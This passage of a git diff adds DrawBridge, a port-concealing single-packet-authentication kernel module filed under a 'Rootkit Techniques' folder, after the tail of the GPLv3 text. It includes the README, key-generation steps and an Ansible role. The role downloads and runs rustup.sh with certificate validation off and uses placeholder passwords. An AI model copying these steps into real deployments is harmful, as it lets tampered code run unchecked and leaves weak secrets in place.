Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/Linux/Rootkit Techniques/DrawBridge/README.md b/Linux/Rootkit Techniques/DrawBridge/README.md new file mode 100644 index 0000000..0714806 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/README.md @@ -0,0 +1,185 @@ +![logo](https://github.com/landhb/DrawBridge/blob/master/img/logo.PNG?raw=true) + +[![Actions Status](https://github.com/landhb/Drawbridge/workflows/Ubuntu%20Latest%20Build%20CI/badge.svg)](https://github.com/landhb/Drawbridge/actions) + +A layer 4 Single Packet Authentication (SPA) Module, used to conceal TCP/UDP ports on public facing machines and add an extra layer of security. + +Note: DrawBridge now supports both IPv4 and IPv6 traffic + +## Demo + +![gif](https://github.com/landhb/DrawBridge/blob/master/img/example.gif?raw=true) + +Please read the corresponding [article](https://www.landhb.me/posts/bODdK/port-knocking-with-netfilter-kernel-modules/) for a more in-depth look at the design. + +# Basic usage + +```bash +sudo db auth --server [REMOTE_SERVER] --dport 53 -p udp --unlock [PORT_TO_UNLOCK] +``` + +To give the `db` binary CAP_NET_RAW privs so that you don't need `sudo` to run it: + +```bash +chmod 500 ~/.cargo/bin/db +sudo setcap cap_net_raw=pe ~/.cargo/bin/db +``` + +It's also convenient to create a bash alias to run `db` automatically when you want to access the port that it's guarding. + +```bash +alias "connect"="db auth -s [REMOTE] -d 53 -p udp --unlock [PORT] && ssh -p [PORT] user@[REMOTE]" +``` + +## Build and Install the Drawbridge Utilities + +The usermode tools are now written in Rust! Build and install them with cargo: + +``` +git clone https://github.com/landhb/Drawbridge +cargo install --path Drawbridge/tools + +# or +cargo install dbtools +``` + +## Build and Install the Drawbridge Module + +To automagically generate keys, run the following on your client machine: + +```bash +db keygen +``` + +The output of the keygen utility will be three files: `~/.drawbridge/db_rsa`, `~/.drawbridge/db_rsa.pub` and `key.h`. Keep `db_rsa` safe, it's your private key. `key.h` is the public key formated as a C-header file. It will be compiled into the kernel module. + + +To compile the kernel module simply, bring `key.h`, cd into the kernel directory and run `make`. + +```bash +# on the server compile the module and load it +# pass the ports you want to monitor as an argument +mv key.h kernel/ +cd kernel +make +sudo modprobe x_tables +sudo insmod drawbridge.ko ports=22,445 +``` + +You may need to install your kernel headers to compile the module, you can do so with: + +``` +sudo apt-get install linux-headers-$(uname -r) +sudo apt-get update && sudo apt-get upgrade +``` + +This code has been tested on Linux Kernels between 4.X and 5.9. I don't plan to support anything earlier than 4.X but let me know if you encounter some portabilitity issues on newer kernels. + +## Customizing a Unique 'knock' Packet + +If you wish to customize your knock a little more you can edit the TCP header options in client/bridge.c. For instance, maybe you want to make your knock packet have the PSH,RST,and ACK flags set and a window size of 3104. Turn those on: + +```c +// Flags +(*pkt)->tcp_h.fin = 0; // 1 +(*pkt)->tcp_h.syn = 0; // 2 +(*pkt)->tcp_h.rst = 1; // 4 +(*pkt)->tcp_h.psh = 1; // 8 +(*pkt)->tcp_h.ack = 1; // 16 +(*pkt)->tcp_h.urg = 0; // 32 + + +(*pkt)->tcp_h.window = htons(3104); +``` + +Then make sure you can create a BPF filter to match that specific packet. For the above we would have RST(4) + PSH(8) + ACK(16) = 28 and the offset for the window field in the TCP header is 14: + +``` +"tcp[tcpflags] == 28 and tcp[14:2] = 3104" +``` + +[Here is a good short article on tcp flags if you're unfamiliar.](https://danielmiessler.com/study/tcpflags/). Because tcpdump doesn't support tcp offset shortcuts for IPv6 you have to work with offsets relative to the IPv6 header to support it: + +``` +(tcp[tcpflags] == 28 and tcp[14:2] = 3104) or (ip6[40+13] == 28 and ip6[(40+14):2] = 3104)" +``` + +After you have a working BPF filter, you need to compile it and include the filter in the kernel module server-side. So to compile this and place the output in kernel/listen.c in struct sock_filter code[]: + +``` +tcpdump "(tcp[tcpflags] == 28 and tcp[14:2] = 3104) or (ip6[40+13] == 28 and ip6[(40+14):2] = 3104)" -dd +``` + +which gives us: + +```c +struct sock_filter code[] = { + { 0x28, 0, 0, 0x0000000c }, + { 0x15, 0, 9, 0x00000800 }, + { 0x30, 0, 0, 0x00000017 }, + { 0x15, 0, 13, 0x00000006 }, + { 0x28, 0, 0, 0x00000014 }, + { 0x45, 11, 0, 0x00001fff }, + { 0xb1, 0, 0, 0x0000000e }, + { 0x50, 0, 0, 0x0000001b }, + { 0x15, 0, 8, 0x0000001c }, + { 0x48, 0, 0, 0x0000001c }, + { 0x15, 5, 6, 0x00000c20 }, + { 0x15, 0, 5, 0x000086dd }, + { 0x30, 0, 0, 0x00000043 }, + { 0x15, 0, 3, 0x0000001c }, + { 0x28, 0, 0, 0x00000044 }, + { 0x15, 0, 1, 0x00000c20 }, + { 0x6, 0, 0, 0x00040000 }, + { 0x6, 0, 0, 0x00000000 }, +}; +``` + +And there you go! You have a unique packet that the DrawBridge kernel module will parse! + + +## Generating an RSA Key Pair Manually + +First generate the key pair: + +``` +openssl genrsa -des3 -out private.pem 2048 +``` + +Export the public key to a seperate file: + +```bash +openssl rsa -in private.pem -outform DER -pubout -out public.der +``` + +If you take a look at the format, you'll see that this doesn't exactly match the kernel struct representation of a public key, so we'll need to extract the relevant data from the BIT_STRING field in the DER format: + +```bash +vagrant@ubuntu-xenial:~$ openssl asn1parse -in public.der -inform DER + +0:d=0 hl=4 l= 290 cons: SEQUENCE +4:d=1 hl=2 l= 13 cons: SEQUENCE +6:d=2 hl=2 l= 9 prim: OBJECT :rsaEncryption +17:d=2 hl=2 l= 0 prim: NULL +19:d=1 hl=4 l= 271 prim: BIT STRING <-------------------- THIS IS WHAT WE NEED +``` + +You can see that the BIT_STRING is at offset 19. From here we can extract the relevant portion of the private key format to provide the kernel module: + +```bash +openssl asn1parse -in public.der -inform DER -strparse 19 -out output.der +``` + +You'll notice that this is compatible with [RFC 3447 where it outlines ASN.1 syntax for an RSA public key](https://tools.ietf.org/html/rfc3447#page-44). + +```bash +0:d=0 hl=4 l= 266 cons: SEQUENCE +4:d=1 hl=4 l= 257 prim: INTEGER :BB82865B85ED420CF36054.... +265:d=1 hl=2 l= 3 prim: INTEGER :010001 +``` + +If you need to dump output.der as a C-style byte string: + +```bash +hexdump -v -e '16/1 "_x%02X" "\n"' output.der | sed 's/_/\\/g; s/\\x //g; s/.*/ "&"/' +``` diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/main.yml b/Linux/Rootkit Techniques/DrawBridge/ansible/main.yml new file mode 100644 index 0000000..ec707c9 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/main.yml @@ -0,0 +1,4 @@ +- hosts: localhost + gather_facts: True + roles: + - { role: drawbridge, DRAWBRIDGE_PASS: privatekeypassword, DRAWBRIDGE_PORTS: 8888,9999} diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/README.md b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/README.md new file mode 100644 index 0000000..24dd08e --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/README.md @@ -0,0 +1,38 @@ +Drawbridge +========= + +A Single Packet Authentication module to restrict ports to a single IP address for a short period of time. + +Requirements +------------ + +Any pre-requisites that may not be covered by Ansible itself or the role should be mentioned here. For instance, if the role uses the EC2 module, it may be a good idea to mention in this section that the boto package is required. + +Role Variables +-------------- + +A description of the settable variables for this role should go here, including any variables that are in defaults/main.yml, vars/main.yml, and any variables that can/should be set via parameters to the role. Any variables that are read from other roles and/or the global scope (ie. hostvars, group vars, etc.) should be mentioned here as well. + +Dependencies +------------ + +A list of other roles hosted on Galaxy should go here, plus any details in regards to parameters that may need to be set for other roles, or variables that are used from other roles. + +Example Playbook +---------------- + +Including an example of how to use your role (for instance, with variables passed in as parameters) is always nice for users too: + + - hosts: servers + roles: + - { role: drawbridge, DRAWBRIDGE_PASS: privatekeypassword, DRAWBRIDGE_PORTS: 8888,9999} + +License +------- + +BSD + +Author Information +------------------ + +An optional section for the role authors to include contact information, or a website (HTML is not allowed). diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/defaults/main.yml b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/defaults/main.yml new file mode 100644 index 0000000..dd2edf8 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/defaults/main.yml @@ -0,0 +1,10 @@ +--- +# defaults file for drawbridge +DRAWBRIDGE_PASS: test +DRAWBRIDGE_PORTS: 8888,9999 + +# The destination where cargo should be installed. +cargo_prefix: ~/.cargo/bin #/usr/local + +# Where to drop the downloaded installer. +cargo_tmp: /tmp \ No newline at end of file diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/handlers/main.yml b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/handlers/main.yml new file mode 100644 index 0000000..1347c65 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/handlers/main.yml @@ -0,0 +1,2 @@ +--- +# handlers file for drawbridge \ No newline at end of file diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/meta/main.yml b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/meta/main.yml new file mode 100644 index 0000000..3a212a9 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/meta/main.yml @@ -0,0 +1,53 @@ +galaxy_info: + author: your name + description: your description + company: your company (optional) + + # If the issue tracker for your role is not on github, uncomment the + # next line and provide a value + # issue_tracker_url: http://example.com/issue/tracker + + # Choose a valid license ID from https://spdx.org - some suggested licenses: + # - BSD-3-Clause (default) + # - MIT + # - GPL-2.0-or-later + # - GPL-3.0-only + # - Apache-2.0 + # - CC-BY-4.0 + license: license (GPL-2.0-or-later, MIT, etc) + + min_ansible_version: 2.4 + + # If this a Container Enabled role, provide the minimum Ansible Container version. + # min_ansible_container_version: + + # + # Provide a list of supported platforms, and for each platform a list of versions. + # If you don't wish to enumerate all versions for a particular platform, use 'all'. + # To view available platforms and versions (or releases), visit: + # https://galaxy.ansible.com/api/v1/platforms/ + # + # platforms: + # - name: Fedora + # versions: + # - all + # - 25 + # - name: SomePlatform + # versions: + # - all + # - 1.0 + # - 7 + # - 99.99 + + galaxy_tags: [] + # List tags for your role here, one per line. A tag is a keyword that describes + # and categorizes the role. Users find roles by searching for tags. Be sure to + # remove the '[]' above, if you add tags to this list. + # + # NOTE: A tag is limited to a single word comprised of alphanumeric characters. + # Maximum 20 tags per role. + +dependencies: [] + # List your role dependencies here, one per line. Be sure to remove the '[]' above, + # if you add dependencies to this list. + \ No newline at end of file diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tasks/cargo.yml b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tasks/cargo.yml new file mode 100644 index 0000000..dedb848 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tasks/cargo.yml @@ -0,0 +1,31 @@ +--- +# tasks file for sudo-pair +- name: install requirements for cargo + package: + name: "{{ cargo_requirements }}" + state: present + register: cargo_install_requirements_for_cargo + until: cargo_install_requirements_for_cargo is succeeded + retries: 3 + +- name: download installer rustup + get_url: + url: https://static.rust-lang.org/rustup.sh + dest: "{{ cargo_tmp }}/rustup.sh" + mode: "0750" + validate_certs: no + register: cargo_download_installer_rustup + until: cargo_download_installer_rustup is succeeded + retries: 3 + +- name: run installer rustup + command: ./rustup.sh -y + args: + chdir: "{{ cargo_tmp }}" + creates: "~/.cargo/bin" #"{{ cargo_prefix }}/bin/cargo" + environment: + CARGO_HOME: "{{ cargo_prefix }}" + TMPDIR: "{{ cargo_tmp }}" + register: cargo_run_installer_rustup + until: cargo_run_installer_rustup is succeeded + retries: 3 diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tasks/drawbridge.yml b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tasks/drawbridge.yml new file mode 100644 index 0000000..8f559c3 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tasks/drawbridge.yml @@ -0,0 +1,107 @@ +- name: Update APT package cache + apt: + update_cache: true + cache_valid_time: 3600 + become: true + +- name: Install Kernel Headers + apt: + name: "linux-headers-{{ ansible_kernel }}" + become: true + +- name: Install cargo + include_tasks: "cargo.yml" + +- name: Clone drawbridge + git: + repo: https://github.com/landhb/DrawBridge.git + dest: /tmp/drawbridge + version: master + tags: drawbridge + +- name: Install build tools + become: yes + apt: + name: "{{ packages }}" + update_cache: yes + vars: + packages: + - make + - python3-pip + - python3-pkg-resources + tags: drawbridge + +- name: install pexpect + pip: + name: pexpect + become: yes + tags: drawbridge + +- name: Build and install db + command: "cargo install --path tools/" + args: + chdir: /tmp/drawbridge + tags: drawbridge + +- name: Generate new keys + expect: + command: "db keygen" + chdir: /tmp/drawbridge + creates: /tmp/drawbridge/key.h + responses: + (?i)create: "Y" + tags: drawbridge + +- name: Move key.h to kernel directory + shell: "mv ../key.h ." + args: + chdir: /tmp/drawbridge/kernel + creates: /tmp/drawbridge/kernel/key.h + tags: drawbridge + +- name: Retrieve private key + fetch: + src: ~/.drawbridge/db_rsa + dest: ~/.drawbridge/private_{{ hostvars[inventory_hostname]['ansible_default_ipv4']['address'] }}.pem + tags: drawbridge + +- name: Compile drawbridge + command: "make" + args: + chdir: /tmp/drawbridge/kernel + creates: /tmp/drawbridge/kernel/drawbridge.ko + tags: drawbridge + +- name: Install drawbridge + command: "{{ item }}" + with_items: + - "cp /tmp/drawbridge/kernel/drawbridge.ko /lib/modules/{{ ansible_kernel }}/kernel/drivers/net" + - "depmod -a" + become: yes + tags: drawbridge + +- name: Load drawbridge + modprobe: + name: drawbridge + state: present + params: "ports={{ DRAWBRIDGE_PORTS }}" + become: yes + tags: drawbridge + +- name: Cleanup tmp directory + file: + path: "rm -rf /tmp/drawbridge" + state: absent + tags: drawbridge + +- name: Uninstall unnecessary packages + become: yes + apt: + name: "{{ packages }}" + state: absent + vars: + packages: + - make + - python3-pip + - python3-pkg-resources + tags: drawbridge \ No newline at end of file diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tasks/main.yml b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tasks/main.yml new file mode 100644 index 0000000..995f279 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tasks/main.yml @@ -0,0 +1,23 @@ +--- +# main tasks file for drawbridge + + +- name: check if drawbridge is installed + shell: modinfo drawbridge + register: modinfo_result + ignore_errors: yes + failed_when: False + no_log: True + become: yes + + +# conditionally apply installation +- name: Apply install if necessary + include_tasks: "drawbridge.yml" + when: modinfo_result.rc == 1 + + + + + + diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tests/inventory b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tests/inventory new file mode 100644 index 0000000..22fb13b --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tests/inventory @@ -0,0 +1,3 @@ +localhost ansible_connection=local + + diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tests/test.yml b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tests/test.yml new file mode 100644 index 0000000..2e5d46a --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tests/test.yml @@ -0,0 +1,5 @@ +--- +- hosts: localhost + remote_user: root + roles: + - drawbridge \ No newline at end of file diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tests/test_drawbridge.py b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tests/test_drawbridge.py new file mode 100644 index 0000000..f64e148 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tests/test_drawbridge.py @@ -0,0 +1,60 @@ +import os +import pytest +import testinfra +#import testinfra.utils.ansible_runner +#from ansible.template import Templar +#from ansible.parsing.dataloader import DataLoader + +#runner = testinfra.utils.ansible_runner.AnsibleRunner( +# os.environ['MOLECULE_INVENTORY_FILE'] +#) +#testinfra = runner.get_hosts('all') + + +@pytest.fixture(scope='module') +def get_vars(host): + defaults_files = "file=./roles/drawbridge/defaults/main.yml name=role_defaults" + vars_files = "file=./roles/drawbridge/vars/main.yml name=role_vars" + + ansible_vars = host.ansible( + "include_vars", + defaults_files)["ansible_facts"]["role_defaults"] + + ansible_vars.update(host.ansible( + "include_vars", + vars_files)["ansible_facts"]["role_vars"]) + + return ansible_vars + +def test_drawbridge_install(host): + lsmod = host.check_output("lsmod") + assert "drawbridge" in lsmod + + +def test_ports_closed(host, get_vars): + print(get_vars) + assert "DRAWBRIDGE_PORTS" in get_vars + + localhost = host.addr("127.0.0.1") + assert localhost.is_resolvable + + for i in get_vars['DRAWBRIDGE_PORTS'].split(','): + assert localhost.port(i).is_reachable is False + +def test_apt_cleanup(host): + make = host.package("make") + pip = host.package("python3-pip") + pkg_resources = host.package("python3-pkg-resources") + + assert make.is_installed is False + assert pip.is_installed is False + assert pkg_resources.is_installed is False + +''' +def test_key_file(host): + f = host.file('~/drawbridge/') + + assert f.exists + assert f.user == 'root' + assert f.group == 'root' +''' diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/vars/main.yml b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/vars/main.yml new file mode 100644 index 0000000..47e2f7b --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/vars/main.yml @@ -0,0 +1,6 @@ +--- +# vars file for drawbridge +cargo_requirements: + - curl + - file + - bash \ No newline at end of file diff --git a/Linux/Rootkit Techniques/DrawBridge/img/example.gif b/Linux/Rootkit Techniques/DrawBridge/img/example.gif new file mode 100644 index 0000000..4290e60 Binary files /dev/null and b/Linux/Rootkit Techniques/DrawBridge/img/example.gif differ diff --git a/Linux/Rootkit Techniques/DrawBridge/img/logo.PNG b/Linux/Rootkit Techniques/DrawBridge/img/logo.PNG new file mode 100644 index 0000000..141698c Binary files /dev/null and b/Linux/Rootkit Techniques/DrawBridge/img/logo.PNG differ diff --git a/Linux/Rootkit Techniques/DrawBridge/kernel/.clang-format b/Linux/Rootkit Techniques/DrawBridge/kernel/.clang-format new file mode 100644 index 0000000..4676400 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/kernel/.clang-format @@ -0,0 +1,553 @@ +# SPDX-License-Identifier: GPL-2.0 +# +# clang-format configuration file. Intended for clang-format >= 4. +# +# For more information, see: +# +# Documentation/process/clang-format.rst +# https://clang.llvm.org/docs/ClangFormat.html +# https://clang.llvm.org/docs/ClangFormatStyleOptions.html +# +--- +AccessModifierOffset: -4 +AlignAfterOpenBracket: Align +AlignConsecutiveAssignments: ACS_Consecutive +AlignConsecutiveDeclarations: false +#AlignEscapedNewlines: Left # Unknown to clang-format-4.0 +AlignOperands: true +AlignTrailingComments: false +AllowAllParametersOfDeclarationOnNextLine: false +AllowShortBlocksOnASingleLine: false +AllowShortCaseLabelsOnASingleLine: false +AllowShortFunctionsOnASingleLine: None +AllowShortIfStatementsOnASingleLine: false +AllowShortLoopsOnASingleLine: false +AlwaysBreakAfterDefinitionReturnType: None +AlwaysBreakAfterReturnType: None +AlwaysBreakBeforeMultilineStrings: false +AlwaysBreakTemplateDeclarations: false +BinPackArguments: true +BinPackParameters: true +BraceWrapping: + AfterClass: false + AfterControlStatement: false + AfterEnum: false + AfterFunction: true + AfterNamespace: true + AfterObjCDeclaration: false + AfterStruct: false + AfterUnion: false + #AfterExternBlock: false # Unknown to clang-format-5.0 + BeforeCatch: false + BeforeElse: false + IndentBraces: false + #SplitEmptyFunction: true # Unknown to clang-format-4.0 + #SplitEmptyRecord: true # Unknown to clang-format-4.0 + #SplitEmptyNamespace: true # Unknown to clang-format-4.0 +BreakBeforeBinaryOperators: None +BreakBeforeBraces: Custom +#BreakBeforeInheritanceComma: false # Unknown to clang-format-4.0 +BreakBeforeTernaryOperators: false +BreakConstructorInitializersBeforeComma: false +#BreakConstructorInitializers: BeforeComma # Unknown to clang-format-4.0 +BreakAfterJavaFieldAnnotations: false +BreakStringLiterals: false +ColumnLimit: 80 +CommentPragmas: '^ IWYU pragma:' +#CompactNamespaces: false # Unknown to clang-format-4.0 +ConstructorInitializerAllOnOneLineOrOnePerLine: false +ConstructorInitializerIndentWidth: 4 +ContinuationIndentWidth: 4 +Cpp11BracedListStyle: false +DerivePointerAlignment: false +DisableFormat: false +ExperimentalAutoDetectBinPacking: false +#FixNamespaceComments: false # Unknown to clang-format-4.0 + +# Taken from: +# git grep -h '^#define [^[:space:]]*for_each[^[:space:]]*(' include/ \ +# | sed "s,^#define \([^[:space:]]*for_each[^[:space:]]*\)(.*$, - '\1'," \ +# | sort | uniq +ForEachMacros: + - 'apei_estatus_for_each_section' + - 'ata_for_each_dev' + - 'ata_for_each_link' + - '__ata_qc_for_each' + - 'ata_qc_for_each' + - 'ata_qc_for_each_raw' + - 'ata_qc_for_each_with_internal' + - 'ax25_for_each' + - 'ax25_uid_for_each' + - '__bio_for_each_bvec' + - 'bio_for_each_bvec' + - 'bio_for_each_bvec_all' + - 'bio_for_each_integrity_vec' + - '__bio_for_each_segment' + - 'bio_for_each_segment' + - 'bio_for_each_segment_all' + - 'bio_list_for_each' + - 'bip_for_each_vec' + - 'bitmap_for_each_clear_region' + - 'bitmap_for_each_set_region' + - 'blkg_for_each_descendant_post' + - 